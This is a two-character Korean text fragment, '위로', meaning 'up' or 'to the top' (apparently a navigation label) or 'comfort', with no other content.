위로